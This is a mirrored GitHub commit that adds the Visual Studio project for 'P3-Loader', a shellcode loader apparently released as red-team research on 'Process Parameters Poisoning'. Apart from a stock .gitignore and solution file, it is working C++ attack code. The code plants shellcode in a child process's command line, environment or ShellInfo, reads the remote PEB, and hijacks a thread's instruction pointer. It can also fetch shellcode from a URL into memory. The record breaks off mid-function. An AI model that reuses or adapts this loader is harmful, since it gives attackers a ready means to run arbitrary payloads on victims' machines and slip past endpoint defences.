mirror of
https://github.com/Orange-Cyberdefense/p3-loader
synced 2026-07-08 17:02:48 +00:00
Uploading VS-Project
This commit is contained in:
+429
@@ -0,0 +1,429 @@
|
||||
## Ignore Visual Studio temporary files, build results, and
|
||||
## files generated by popular Visual Studio add-ons.
|
||||
##
|
||||
## Get latest from https://github.com/github/gitignore/blob/main/VisualStudio.gitignore
|
||||
|
||||
# User-specific files
|
||||
*.rsuser
|
||||
*.suo
|
||||
*.user
|
||||
*.userosscache
|
||||
*.sln.docstates
|
||||
*.env
|
||||
|
||||
# User-specific files (MonoDevelop/Xamarin Studio)
|
||||
*.userprefs
|
||||
|
||||
# Mono auto generated files
|
||||
mono_crash.*
|
||||
|
||||
# Build results
|
||||
[Dd]ebug/
|
||||
[Dd]ebugPublic/
|
||||
[Rr]elease/
|
||||
[Rr]eleases/
|
||||
|
||||
[Dd]ebug/x64/
|
||||
[Dd]ebugPublic/x64/
|
||||
[Rr]elease/x64/
|
||||
[Rr]eleases/x64/
|
||||
bin/x64/
|
||||
obj/x64/
|
||||
|
||||
[Dd]ebug/x86/
|
||||
[Dd]ebugPublic/x86/
|
||||
[Rr]elease/x86/
|
||||
[Rr]eleases/x86/
|
||||
bin/x86/
|
||||
obj/x86/
|
||||
|
||||
[Ww][Ii][Nn]32/
|
||||
[Aa][Rr][Mm]/
|
||||
[Aa][Rr][Mm]64/
|
||||
[Aa][Rr][Mm]64[Ee][Cc]/
|
||||
bld/
|
||||
[Oo]bj/
|
||||
[Oo]ut/
|
||||
[Ll]og/
|
||||
[Ll]ogs/
|
||||
|
||||
# Build results on 'Bin' directories
|
||||
**/[Bb]in/*
|
||||
# Uncomment if you have tasks that rely on *.refresh files to move binaries
|
||||
# (https://github.com/github/gitignore/pull/3736)
|
||||
#!**/[Bb]in/*.refresh
|
||||
|
||||
# Visual Studio 2015/2017 cache/options directory
|
||||
.vs/
|
||||
# Uncomment if you have tasks that create the project's static files in wwwroot
|
||||
#wwwroot/
|
||||
|
||||
# Visual Studio 2017 auto generated files
|
||||
Generated\ Files/
|
||||
|
||||
# MSTest test Results
|
||||
[Tt]est[Rr]esult*/
|
||||
[Bb]uild[Ll]og.*
|
||||
*.trx
|
||||
|
||||
# NUnit
|
||||
*.VisualState.xml
|
||||
TestResult.xml
|
||||
nunit-*.xml
|
||||
|
||||
# Approval Tests result files
|
||||
*.received.*
|
||||
|
||||
# Build Results of an ATL Project
|
||||
[Dd]ebugPS/
|
||||
[Rr]eleasePS/
|
||||
dlldata.c
|
||||
|
||||
# Benchmark Results
|
||||
BenchmarkDotNet.Artifacts/
|
||||
|
||||
# .NET Core
|
||||
project.lock.json
|
||||
project.fragment.lock.json
|
||||
artifacts/
|
||||
.artifacts/
|
||||
|
||||
# ASP.NET Scaffolding
|
||||
ScaffoldingReadMe.txt
|
||||
|
||||
# StyleCop
|
||||
StyleCopReport.xml
|
||||
|
||||
# Files built by Visual Studio
|
||||
*_i.c
|
||||
*_p.c
|
||||
*_h.h
|
||||
*.ilk
|
||||
*.meta
|
||||
*.obj
|
||||
*.idb
|
||||
*.iobj
|
||||
*.pch
|
||||
*.pdb
|
||||
*.ipdb
|
||||
*.pgc
|
||||
*.pgd
|
||||
*.rsp
|
||||
# but not Directory.Build.rsp, as it configures directory-level build defaults
|
||||
!Directory.Build.rsp
|
||||
*.sbr
|
||||
*.tlb
|
||||
*.tli
|
||||
*.tlh
|
||||
*.tmp
|
||||
*.tmp_proj
|
||||
*_wpftmp.csproj
|
||||
*.log
|
||||
*.tlog
|
||||
*.vspscc
|
||||
*.vssscc
|
||||
.builds
|
||||
*.pidb
|
||||
*.svclog
|
||||
*.scc
|
||||
|
||||
# Chutzpah Test files
|
||||
_Chutzpah*
|
||||
|
||||
# Visual C++ cache files
|
||||
ipch/
|
||||
*.aps
|
||||
*.ncb
|
||||
*.opendb
|
||||
*.opensdf
|
||||
*.sdf
|
||||
*.cachefile
|
||||
*.VC.db
|
||||
*.VC.VC.opendb
|
||||
|
||||
# Visual Studio profiler
|
||||
*.psess
|
||||
*.vsp
|
||||
*.vspx
|
||||
*.sap
|
||||
|
||||
# Visual Studio Trace Files
|
||||
*.e2e
|
||||
|
||||
# TFS 2012 Local Workspace
|
||||
$tf/
|
||||
|
||||
# Guidance Automation Toolkit
|
||||
*.gpState
|
||||
|
||||
# ReSharper is a .NET coding add-in
|
||||
_ReSharper*/
|
||||
*.[Rr]e[Ss]harper
|
||||
*.DotSettings.user
|
||||
|
||||
# TeamCity is a build add-in
|
||||
_TeamCity*
|
||||
|
||||
# DotCover is a Code Coverage Tool
|
||||
*.dotCover
|
||||
|
||||
# AxoCover is a Code Coverage Tool
|
||||
.axoCover/*
|
||||
!.axoCover/settings.json
|
||||
|
||||
# Coverlet is a free, cross platform Code Coverage Tool
|
||||
coverage*.json
|
||||
coverage*.xml
|
||||
coverage*.info
|
||||
|
||||
# Visual Studio code coverage results
|
||||
*.coverage
|
||||
*.coveragexml
|
||||
|
||||
# NCrunch
|
||||
_NCrunch_*
|
||||
.NCrunch_*
|
||||
.*crunch*.local.xml
|
||||
nCrunchTemp_*
|
||||
|
||||
# MightyMoose
|
||||
*.mm.*
|
||||
AutoTest.Net/
|
||||
|
||||
# Web workbench (sass)
|
||||
.sass-cache/
|
||||
|
||||
# Installshield output folder
|
||||
[Ee]xpress/
|
||||
|
||||
# DocProject is a documentation generator add-in
|
||||
DocProject/buildhelp/
|
||||
DocProject/Help/*.HxT
|
||||
DocProject/Help/*.HxC
|
||||
DocProject/Help/*.hhc
|
||||
DocProject/Help/*.hhk
|
||||
DocProject/Help/*.hhp
|
||||
DocProject/Help/Html2
|
||||
DocProject/Help/html
|
||||
|
||||
# Click-Once directory
|
||||
publish/
|
||||
|
||||
# Publish Web Output
|
||||
*.[Pp]ublish.xml
|
||||
*.azurePubxml
|
||||
# Note: Comment the next line if you want to checkin your web deploy settings,
|
||||
# but database connection strings (with potential passwords) will be unencrypted
|
||||
*.pubxml
|
||||
*.publishproj
|
||||
|
||||
# Microsoft Azure Web App publish settings. Comment the next line if you want to
|
||||
# checkin your Azure Web App publish settings, but sensitive information contained
|
||||
# in these scripts will be unencrypted
|
||||
PublishScripts/
|
||||
|
||||
# NuGet Packages
|
||||
*.nupkg
|
||||
# NuGet Symbol Packages
|
||||
*.snupkg
|
||||
# The packages folder can be ignored because of Package Restore
|
||||
**/[Pp]ackages/*
|
||||
# except build/, which is used as an MSBuild target.
|
||||
!**/[Pp]ackages/build/
|
||||
# Uncomment if necessary however generally it will be regenerated when needed
|
||||
#!**/[Pp]ackages/repositories.config
|
||||
# NuGet v3's project.json files produces more ignorable files
|
||||
*.nuget.props
|
||||
*.nuget.targets
|
||||
|
||||
# Microsoft Azure Build Output
|
||||
csx/
|
||||
*.build.csdef
|
||||
|
||||
# Microsoft Azure Emulator
|
||||
ecf/
|
||||
rcf/
|
||||
|
||||
# Windows Store app package directories and files
|
||||
AppPackages/
|
||||
BundleArtifacts/
|
||||
Package.StoreAssociation.xml
|
||||
_pkginfo.txt
|
||||
*.appx
|
||||
*.appxbundle
|
||||
*.appxupload
|
||||
|
||||
# Visual Studio cache files
|
||||
# files ending in .cache can be ignored
|
||||
*.[Cc]ache
|
||||
# but keep track of directories ending in .cache
|
||||
!?*.[Cc]ache/
|
||||
|
||||
# Others
|
||||
ClientBin/
|
||||
~$*
|
||||
*~
|
||||
*.dbmdl
|
||||
*.dbproj.schemaview
|
||||
*.jfm
|
||||
*.pfx
|
||||
*.publishsettings
|
||||
orleans.codegen.cs
|
||||
|
||||
# Including strong name files can present a security risk
|
||||
# (https://github.com/github/gitignore/pull/2483#issue-259490424)
|
||||
#*.snk
|
||||
|
||||
# Since there are multiple workflows, uncomment next line to ignore bower_components
|
||||
# (https://github.com/github/gitignore/pull/1529#issuecomment-104372622)
|
||||
#bower_components/
|
||||
|
||||
# RIA/Silverlight projects
|
||||
Generated_Code/
|
||||
|
||||
# Backup & report files from converting an old project file
|
||||
# to a newer Visual Studio version. Backup files are not needed,
|
||||
# because we have git ;-)
|
||||
_UpgradeReport_Files/
|
||||
Backup*/
|
||||
UpgradeLog*.XML
|
||||
UpgradeLog*.htm
|
||||
ServiceFabricBackup/
|
||||
*.rptproj.bak
|
||||
|
||||
# SQL Server files
|
||||
*.mdf
|
||||
*.ldf
|
||||
*.ndf
|
||||
|
||||
# Business Intelligence projects
|
||||
*.rdl.data
|
||||
*.bim.layout
|
||||
*.bim_*.settings
|
||||
*.rptproj.rsuser
|
||||
*- [Bb]ackup.rdl
|
||||
*- [Bb]ackup ([0-9]).rdl
|
||||
*- [Bb]ackup ([0-9][0-9]).rdl
|
||||
|
||||
# Microsoft Fakes
|
||||
FakesAssemblies/
|
||||
|
||||
# GhostDoc plugin setting file
|
||||
*.GhostDoc.xml
|
||||
|
||||
# Node.js Tools for Visual Studio
|
||||
.ntvs_analysis.dat
|
||||
node_modules/
|
||||
|
||||
# Visual Studio 6 build log
|
||||
*.plg
|
||||
|
||||
# Visual Studio 6 workspace options file
|
||||
*.opt
|
||||
|
||||
# Visual Studio 6 auto-generated workspace file (contains which files were open etc.)
|
||||
*.vbw
|
||||
|
||||
# Visual Studio 6 workspace and project file (working project files containing files to include in project)
|
||||
*.dsw
|
||||
*.dsp
|
||||
|
||||
# Visual Studio 6 technical files
|
||||
*.ncb
|
||||
*.aps
|
||||
|
||||
# Visual Studio LightSwitch build output
|
||||
**/*.HTMLClient/GeneratedArtifacts
|
||||
**/*.DesktopClient/GeneratedArtifacts
|
||||
**/*.DesktopClient/ModelManifest.xml
|
||||
**/*.Server/GeneratedArtifacts
|
||||
**/*.Server/ModelManifest.xml
|
||||
_Pvt_Extensions
|
||||
|
||||
# Paket dependency manager
|
||||
**/.paket/paket.exe
|
||||
paket-files/
|
||||
|
||||
# FAKE - F# Make
|
||||
**/.fake/
|
||||
|
||||
# CodeRush personal settings
|
||||
**/.cr/personal
|
||||
|
||||
# Python Tools for Visual Studio (PTVS)
|
||||
**/__pycache__/
|
||||
*.pyc
|
||||
|
||||
# Cake - Uncomment if you are using it
|
||||
#tools/**
|
||||
#!tools/packages.config
|
||||
|
||||
# Tabs Studio
|
||||
*.tss
|
||||
|
||||
# Telerik's JustMock configuration file
|
||||
*.jmconfig
|
||||
|
||||
# BizTalk build output
|
||||
*.btp.cs
|
||||
*.btm.cs
|
||||
*.odx.cs
|
||||
*.xsd.cs
|
||||
|
||||
# OpenCover UI analysis results
|
||||
OpenCover/
|
||||
|
||||
# Azure Stream Analytics local run output
|
||||
ASALocalRun/
|
||||
|
||||
# MSBuild Binary and Structured Log
|
||||
*.binlog
|
||||
MSBuild_Logs/
|
||||
|
||||
# AWS SAM Build and Temporary Artifacts folder
|
||||
.aws-sam
|
||||
|
||||
# NVidia Nsight GPU debugger configuration file
|
||||
*.nvuser
|
||||
|
||||
# MFractors (Xamarin productivity tool) working folder
|
||||
**/.mfractor/
|
||||
|
||||
# Local History for Visual Studio
|
||||
**/.localhistory/
|
||||
|
||||
# Visual Studio History (VSHistory) files
|
||||
.vshistory/
|
||||
|
||||
# BeatPulse healthcheck temp database
|
||||
healthchecksdb
|
||||
|
||||
# Backup folder for Package Reference Convert tool in Visual Studio 2017
|
||||
MigrationBackup/
|
||||
|
||||
# Ionide (cross platform F# VS Code tools) working folder
|
||||
**/.ionide/
|
||||
|
||||
# Fody - auto-generated XML schema
|
||||
FodyWeavers.xsd
|
||||
|
||||
# VS Code files for those working on multiple tools
|
||||
.vscode/*
|
||||
!.vscode/settings.json
|
||||
!.vscode/tasks.json
|
||||
!.vscode/launch.json
|
||||
!.vscode/extensions.json
|
||||
!.vscode/*.code-snippets
|
||||
|
||||
# Local History for Visual Studio Code
|
||||
.history/
|
||||
|
||||
# Built Visual Studio Code Extensions
|
||||
*.vsix
|
||||
|
||||
# Windows Installer files from build outputs
|
||||
*.cab
|
||||
*.msi
|
||||
*.msix
|
||||
*.msm
|
||||
*.msp
|
||||
@@ -0,0 +1,31 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 12.00
|
||||
# Visual Studio Version 17
|
||||
VisualStudioVersion = 17.14.36717.8 d17.14
|
||||
MinimumVisualStudioVersion = 10.0.40219.1
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "P3-Loader", "P3-Loader\P3-Loader.vcxproj", "{B63C84FA-6216-425F-8392-AD42FD7A3E8F}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|x64 = Debug|x64
|
||||
Debug|x86 = Debug|x86
|
||||
Release|x64 = Release|x64
|
||||
Release|x86 = Release|x86
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{B63C84FA-6216-425F-8392-AD42FD7A3E8F}.Debug|x64.ActiveCfg = Debug|x64
|
||||
{B63C84FA-6216-425F-8392-AD42FD7A3E8F}.Debug|x64.Build.0 = Debug|x64
|
||||
{B63C84FA-6216-425F-8392-AD42FD7A3E8F}.Debug|x86.ActiveCfg = Debug|Win32
|
||||
{B63C84FA-6216-425F-8392-AD42FD7A3E8F}.Debug|x86.Build.0 = Debug|Win32
|
||||
{B63C84FA-6216-425F-8392-AD42FD7A3E8F}.Release|x64.ActiveCfg = Release|x64
|
||||
{B63C84FA-6216-425F-8392-AD42FD7A3E8F}.Release|x64.Build.0 = Release|x64
|
||||
{B63C84FA-6216-425F-8392-AD42FD7A3E8F}.Release|x86.ActiveCfg = Release|Win32
|
||||
{B63C84FA-6216-425F-8392-AD42FD7A3E8F}.Release|x86.Build.0 = Release|Win32
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
GlobalSection(ExtensibilityGlobals) = postSolution
|
||||
SolutionGuid = {C8C1F750-DBF8-4DDB-8BB7-2B09758A010F}
|
||||
EndGlobalSection
|
||||
EndGlobal
|
||||
@@ -0,0 +1,72 @@
|
||||
#include "HTTPClient.h"
|
||||
|
||||
#pragma comment(lib, "wininet.lib")
|
||||
|
||||
HTTPClient::HTTPClient(const wchar_t* user_agent)
|
||||
{
|
||||
m_hInternet = InternetOpenW(user_agent, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
|
||||
if (!m_hInternet) {
|
||||
printf("[-] InternetOpen failed with error: %d\n", GetLastError());
|
||||
}
|
||||
}
|
||||
|
||||
HTTPClient::~HTTPClient()
|
||||
{
|
||||
if (m_hInternet)
|
||||
InternetCloseHandle(m_hInternet);
|
||||
}
|
||||
|
||||
std::vector<uint8_t> HTTPClient::DownloadURL(const wchar_t* url)
|
||||
{
|
||||
std::vector<uint8_t> result;
|
||||
|
||||
if (!m_hInternet) {
|
||||
return result;
|
||||
}
|
||||
|
||||
HINTERNET hInternet_url;
|
||||
hInternet_url = InternetOpenUrlW(m_hInternet, url, NULL, 0, 0, NULL);
|
||||
if (!hInternet_url) {
|
||||
printf("[-] InternetOpenUrlW failed with error: %d\n", GetLastError());
|
||||
return result;
|
||||
}
|
||||
|
||||
BOOL success;
|
||||
DWORD status;
|
||||
DWORD index = 0;
|
||||
DWORD query_size = sizeof(status);
|
||||
success = HttpQueryInfoW(hInternet_url, HTTP_QUERY_STATUS_CODE | HTTP_QUERY_FLAG_NUMBER, &status, &query_size, &index);
|
||||
if (!success) {
|
||||
printf("[-] HttpQueryInfoW status failed with error: %d\n", GetLastError());
|
||||
InternetCloseHandle(hInternet_url);
|
||||
return result;
|
||||
}
|
||||
if (query_size != sizeof(status)) {
|
||||
printf("[-] HttpQueryInfoW status, retrieved too few bytes\n");
|
||||
InternetCloseHandle(hInternet_url);
|
||||
return result;
|
||||
}
|
||||
if (status != HTTP_STATUS_OK) {
|
||||
printf("[-] Error HTTP Status: %d\n", status);
|
||||
InternetCloseHandle(hInternet_url);
|
||||
return result;
|
||||
}
|
||||
|
||||
|
||||
uint8_t tempbuf[1024];
|
||||
DWORD nBytesRead = 0;
|
||||
do {
|
||||
nBytesRead = 0;
|
||||
success = InternetReadFile(hInternet_url, tempbuf, 1024, &nBytesRead);
|
||||
if (!success) {
|
||||
printf("[-] InternetReadFile failed with error: %d\n", GetLastError());
|
||||
InternetCloseHandle(hInternet_url);
|
||||
return result;
|
||||
}
|
||||
result.insert(result.end(), tempbuf, tempbuf + nBytesRead);
|
||||
} while (nBytesRead == 1024);
|
||||
|
||||
InternetCloseHandle(hInternet_url);
|
||||
|
||||
return result;
|
||||
}
|
||||
@@ -0,0 +1,17 @@
|
||||
#pragma once
|
||||
#ifndef HTTP_CLIENT_H
|
||||
#define HTTP_CLIENT_H
|
||||
#include <Windows.h>
|
||||
#include <wininet.h>
|
||||
#include <vector>
|
||||
|
||||
class HTTPClient {
|
||||
public:
|
||||
HTTPClient(const wchar_t* user_agent);
|
||||
~HTTPClient();
|
||||
std::vector<uint8_t> DownloadURL(const wchar_t* url);
|
||||
private:
|
||||
HINTERNET m_hInternet;
|
||||
};
|
||||
|
||||
#endif // HTTP_CLIENT_H
|
||||
@@ -0,0 +1,111 @@
|
||||
/**
|
||||
* Authors: Max Hirschberger & Ogulcan Ugur
|
||||
* Project: Process Parameter Poisoning
|
||||
* Notes: Built with ❤️ and undefined behavior.
|
||||
*/
|
||||
|
||||
#include <iostream>
|
||||
#include <Windows.h>
|
||||
|
||||
const WORD ORANGE = FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_INTENSITY;
|
||||
|
||||
static const char* kAuthors =
|
||||
"Authors: Max Hirschberger & Ogulcan Ugur — keep calm and code on.";
|
||||
|
||||
// Setting fancy colors
|
||||
void SetColor(int color) {
|
||||
HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE);
|
||||
SetConsoleTextAttribute(hConsole, color);
|
||||
}
|
||||
|
||||
static void PrintHeader(const char* title) {
|
||||
printf("\n=================================================================\n");
|
||||
printf(" %s\n", title);
|
||||
printf("=================================================================\n\n");
|
||||
}
|
||||
|
||||
|
||||
void PrintLogo() {
|
||||
|
||||
wprintf(L"\x1b[2J\x1b[3J");
|
||||
printf("\n");
|
||||
printf("+=================================================+\n");
|
||||
printf("| PPP - Loader |\n");
|
||||
printf("| |\n");
|
||||
printf("| Process Parameters Poisoning |\n");
|
||||
printf("| |\n");
|
||||
printf("| Created by: Max Hirschberger & Ogulcan Ugur |\n");
|
||||
printf("| Version: 1.0 |\n");
|
||||
printf("| |\n");
|
||||
printf("+=================================================+\n\n");
|
||||
|
||||
}
|
||||
|
||||
void ShowFunctionMenu(unsigned int* choice, unsigned int* shellExecutionChoice, char* dllPath, wchar_t* lpApplication) {
|
||||
|
||||
unsigned int useDefaultApp = 1;
|
||||
|
||||
do {
|
||||
SetColor(ORANGE);
|
||||
PrintHeader("PEB Shellcode Placement");
|
||||
printf("\n[?] Choose where to place the shellcode in the PEB (Process Environment Block):\n\n");
|
||||
printf(" 1) ShellInfo (PEB->ProcessParameters->ShellInfo.Buffer)\n");
|
||||
printf(" 2) Environment Variable (PEB->ProcessParameters->Environment)\n");
|
||||
printf(" 3) Command Line (PEB->ProcessParameters->CommandLine.Buffer)\n");
|
||||
printf("\n[>] Enter selection (1-3): ");
|
||||
scanf_s("%u", choice);
|
||||
|
||||
if (*choice < 1 || *choice > 3) {
|
||||
SetColor(FOREGROUND_RED);
|
||||
printf("[-] Invalid choice. Please try again.\n\n");
|
||||
}
|
||||
} while (*choice < 1 || *choice > 3);
|
||||
|
||||
printf("[+] You selected option %u\n", *choice);
|
||||
|
||||
|
||||
do {
|
||||
SetColor(ORANGE);
|
||||
PrintHeader("Function Method");
|
||||
printf("[?] Choose function method:\n\n");
|
||||
printf(" 1) Demo: show a MessageBox\n");
|
||||
printf(" 2) User-supplied shellcode (null bytes supported)\n");
|
||||
printf(" 3) Load DLL via shellcode (DLL must exist on disk)\n");
|
||||
printf(" 4) In-memory shellcode from URL\n");
|
||||
printf("\n[>] Enter selection (1-4): ");
|
||||
scanf_s("%u", shellExecutionChoice);
|
||||
|
||||
if (*shellExecutionChoice < 1 || *shellExecutionChoice > 4) {
|
||||
SetColor(FOREGROUND_RED);
|
||||
printf("[-] Invalid choice. Please try again.\n\n");
|
||||
}
|
||||
} while (*shellExecutionChoice < 1 || *shellExecutionChoice > 4);
|
||||
|
||||
printf("\n[+] You selected option %u\n", *shellExecutionChoice);
|
||||
|
||||
|
||||
if (*shellExecutionChoice == 3) {
|
||||
printf("\n[*] Example: C:\\Users\\sample.dll ");
|
||||
printf("\n[!] Please enter full path to DLL: ");
|
||||
scanf_s("%s", dllPath, MAX_PATH);
|
||||
}
|
||||
|
||||
do {
|
||||
SetColor(ORANGE);
|
||||
PrintHeader("Target Application");
|
||||
wprintf(L"[?] Current default application is: %s\n", lpApplication);
|
||||
printf("[?] Would you like to change the default application used for shell/DLL launching?\n");
|
||||
printf(" 1) Keep default\n");
|
||||
printf(" 2) Change application path\n");
|
||||
printf("\n[>] Enter selection (1-2): ");
|
||||
scanf_s("%u", &useDefaultApp);
|
||||
} while (useDefaultApp < 1 || useDefaultApp > 2);
|
||||
|
||||
|
||||
if (useDefaultApp == 2) {
|
||||
wprintf(L"\n[!] Please enter full path to Executable: ");
|
||||
wscanf_s(L" %259[^\n]", lpApplication, MAX_PATH);
|
||||
getwchar();
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,13 @@
|
||||
/*
|
||||
* File: Menu.h
|
||||
* Authors: Max Hirschberger & Ogulcan Ugur
|
||||
*/
|
||||
|
||||
#ifndef MENU_H
|
||||
#define MENU_H
|
||||
|
||||
void SetColor(int);
|
||||
void PrintLogo();
|
||||
void ShowFunctionMenu(unsigned int*, unsigned int*, char*, wchar_t*);
|
||||
|
||||
#endif
|
||||
@@ -0,0 +1,256 @@
|
||||
/**
|
||||
* Authors: Max Hirschberger & Ogulcan Ugur
|
||||
* Project: Process Parameter Poisoning
|
||||
* Notes: Built with ❤️ and undefined behavior.
|
||||
*/
|
||||
|
||||
#define STATUS_ACCESS_DENIED 5
|
||||
|
||||
#include <iostream>
|
||||
#include <Windows.h>
|
||||
#include <vector>
|
||||
#include <string>
|
||||
#include <cinttypes>
|
||||
#include <conio.h>
|
||||
#include "imports.h"
|
||||
#include "Menu.h"
|
||||
#include "ShellCodeWriter.h"
|
||||
#include "ShellCodeUserInput.h"
|
||||
#include "WinApiResolver.h"
|
||||
|
||||
const WORD ORANGE = FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_INTENSITY;
|
||||
const WORD BRIGHT_CYAN = FOREGROUND_BLUE | FOREGROUND_GREEN | FOREGROUND_INTENSITY;
|
||||
const WORD LIGHT_GREEN = FOREGROUND_GREEN | FOREGROUND_INTENSITY;
|
||||
|
||||
|
||||
std::vector<uint8_t> BuildShellPayload(int payloadShellcodeChoice, const char* dllPath) {
|
||||
|
||||
std::vector<uint8_t> myCode;
|
||||
|
||||
myCode.push_back(0x41); // L'A'
|
||||
myCode.push_back(0x00);
|
||||
myCode.push_back('='); // L'='
|
||||
myCode.push_back(0x00);
|
||||
myCode.insert(myCode.end(), 4096, 0x41);
|
||||
|
||||
|
||||
if (payloadShellcodeChoice == 1) { // Direct MessageBox
|
||||
ShellCodeWriter w;
|
||||
w.CallMessageBoxA(0, "Injected by PPP-Shellcode Loader", "Shell code was injected successfully!", 0);
|
||||
w.CallTerminateProcess(NULL, 0);
|
||||
std::vector<uint8_t> mbox_sc = w.GetShellCodeBytes();
|
||||
myCode.insert(myCode.end(), mbox_sc.begin(), mbox_sc.end());
|
||||
}
|
||||
else if (payloadShellcodeChoice == 2) { // User supplied ShellCode via LoadAndCallShellCode
|
||||
std::vector<uint8_t> user_sup_sc = ShellCodeUserInput::GetConsoleInput();
|
||||
myCode.insert(myCode.end(), user_sup_sc.begin(), user_sup_sc.end());
|
||||
}
|
||||
else if (payloadShellcodeChoice == 3) { // Loading On-Disk DLL
|
||||
ShellCodeWriter w;
|
||||
w.CallLoadLibraryA(dllPath);
|
||||
w.CallTerminateProcess(NULL, 0);
|
||||
std::vector<uint8_t> ll_sc = w.GetShellCodeBytes();
|
||||
myCode.insert(myCode.end(), ll_sc.begin(), ll_sc.end());
|
||||
}
|
||||
else if (payloadShellcodeChoice == 4) { // Downloaded from URL
|
||||
std::vector<uint8_t> user_sup_sc = ShellCodeUserInput::GetURLInput();
|
||||
myCode.insert(myCode.end(), user_sup_sc.begin(), user_sup_sc.end());
|
||||
}
|
||||
|
||||
myCode.insert(myCode.end(), 4096, 0x41);
|
||||
myCode.insert(myCode.end(), 5, 0);
|
||||
|
||||
return myCode;
|
||||
}
|
||||
|
||||
NTSTATUS ThreadSetExec(PHANDLE hThread, PVOID shellcode) {
|
||||
CONTEXT ctx;
|
||||
ctx = { 0 };
|
||||
ctx.ContextFlags = CONTEXT_CONTROL; // CONTEXT_CONTROL-Flag is enough
|
||||
|
||||
WinApiResolver winapi = WinApiResolver::GetInstance();
|
||||
if (winapi.LdrControlFlowGuardEnforced()) {
|
||||
return STATUS_ACCESS_DENIED;
|
||||
}
|
||||
|
||||
NTSTATUS status = 0;
|
||||
|
||||
status = winapi.NtGetContextThread(*hThread, &ctx);
|
||||
|
||||
if (!NT_SUCCESS(status)) {
|
||||
SetColor(FOREGROUND_RED);
|
||||
printf("\n[-] NtGetContextThread failed with Error Code %08x\n", status);
|
||||
return status;
|
||||
}
|
||||
|
||||
|
||||
ctx.Rip = (DWORD64)shellcode;
|
||||
|
||||
|
||||
status = winapi.NtSetContextThread(*hThread, &ctx);
|
||||
if (!NT_SUCCESS(status)) {
|
||||
SetColor(FOREGROUND_RED);
|
||||
printf("\n[-] NtSetContextThread failed with Error Code %08x\n", status);
|
||||
return status;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
BOOL CreateProcessWithPoison(int choice, PWCHAR lpApplication, PWCHAR poisonParameter, PPROCESS_INFORMATION pi) {
|
||||
|
||||
STARTUPINFOW si = { 0 };
|
||||
BOOL success;
|
||||
SetColor(LIGHT_GREEN);
|
||||
|
||||
switch (choice) {
|
||||
case 1:
|
||||
printf("[~] Writing into ShellInfo...\n");
|
||||
si.lpReserved = poisonParameter;
|
||||
success = CreateProcessW(lpApplication, NULL, NULL, NULL, FALSE, 0, NULL, NULL, &si, pi);
|
||||
break;
|
||||
case 2:
|
||||
printf("[~] Writing into Environment block...\n");
|
||||
success = CreateProcessW(lpApplication, NULL, NULL, NULL, FALSE, CREATE_UNICODE_ENVIRONMENT, poisonParameter, NULL, &si, pi);
|
||||
break;
|
||||
case 3:
|
||||
printf("[~] Writing into CommandLine...\n");
|
||||
success = CreateProcessW(lpApplication, poisonParameter, NULL, NULL, FALSE, 0, NULL, NULL, &si, pi);
|
||||
break;
|
||||
default:
|
||||
return FALSE;
|
||||
}
|
||||
return success;
|
||||
}
|
||||
|
||||
int wmain(int argc, char** argv) {
|
||||
PROCESS_INFORMATION pi = { 0 };
|
||||
|
||||
BOOL success;
|
||||
|
||||
PROCESS_BASIC_INFORMATION pbi;
|
||||
DWORD retLen;
|
||||
|
||||
SIZE_T bytesRead;
|
||||
|
||||
PEB pebLocal;
|
||||
RTL_USER_PROCESS_PARAMETERS parameters = { sizeof(parameters) };
|
||||
|
||||
PVOID shellcode = nullptr;
|
||||
DWORD oldp = 0;
|
||||
|
||||
unsigned int choice = 0;
|
||||
unsigned int payloadShellcodeChoice = 0;
|
||||
|
||||
char dllPath[MAX_PATH];
|
||||
wchar_t lpApplication[MAX_PATH] = L"C:\\Windows\\System32\\winver.exe";
|
||||
char answer = 0;
|
||||
|
||||
|
||||
SetColor(BRIGHT_CYAN);
|
||||
PrintLogo();
|
||||
|
||||
SetColor(ORANGE);
|
||||
ShowFunctionMenu(&choice, &payloadShellcodeChoice, dllPath, lpApplication);
|
||||
|
||||
|
||||
std::vector<uint8_t> myPayload = BuildShellPayload(payloadShellcodeChoice, dllPath);
|
||||
PWCHAR poisonParameter = reinterpret_cast<PWCHAR>(myPayload.data());
|
||||
|
||||
success = CreateProcessWithPoison(choice, lpApplication, poisonParameter, &pi);
|
||||
|
||||
if (success == FALSE) {
|
||||
SetColor(FOREGROUND_RED);
|
||||
printf("[-] Could not call CreateProcess\n");
|
||||
printf("[!] Error Code: %u\n", GetLastError());
|
||||
return 1;
|
||||
}
|
||||
else {
|
||||
SetColor(LIGHT_GREEN);
|
||||
printf("\t[+] Process startet with PID: %u\n", pi.dwProcessId);
|
||||
}
|
||||
|
||||
Sleep(1000); // Run target process a bit before getting the PEB address
|
||||
|
||||
WinApiResolver winapi = WinApiResolver::GetInstance();
|
||||
|
||||
winapi.NtQueryInformationProcess(pi.hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), &retLen);
|
||||
|
||||
NTSTATUS status = winapi.NtReadVirtualMemoryEx(
|
||||
pi.hProcess, // HANDLE to remote process
|
||||
pbi.PebBaseAddress, // base address to read
|
||||
&pebLocal, // output buffer
|
||||
sizeof(pebLocal), // size to read
|
||||
&bytesRead, // actual bytes read
|
||||
0 // currently unknown, used 0
|
||||
);
|
||||
|
||||
if (!NT_SUCCESS(status)) {
|
||||
SetColor(FOREGROUND_RED);
|
||||
std::wcerr << L"[-] NtReadVirtualMemoryEx failed: 0x" << std::hex << status << std::endl;
|
||||
return 1;
|
||||
}
|
||||
|
||||
std::wcout << L"\t[+] PEB read successfully via NtReadVirtualMemoryEx, bytes: " << bytesRead << std::endl;
|
||||
|
||||
status = winapi.NtReadVirtualMemoryEx(
|
||||
pi.hProcess, // HANDLE to remote process
|
||||
pebLocal.ProcessParameters, // base address to read
|
||||
¶meters, // output buffer
|
||||
sizeof(parameters), // size to read
|
||||
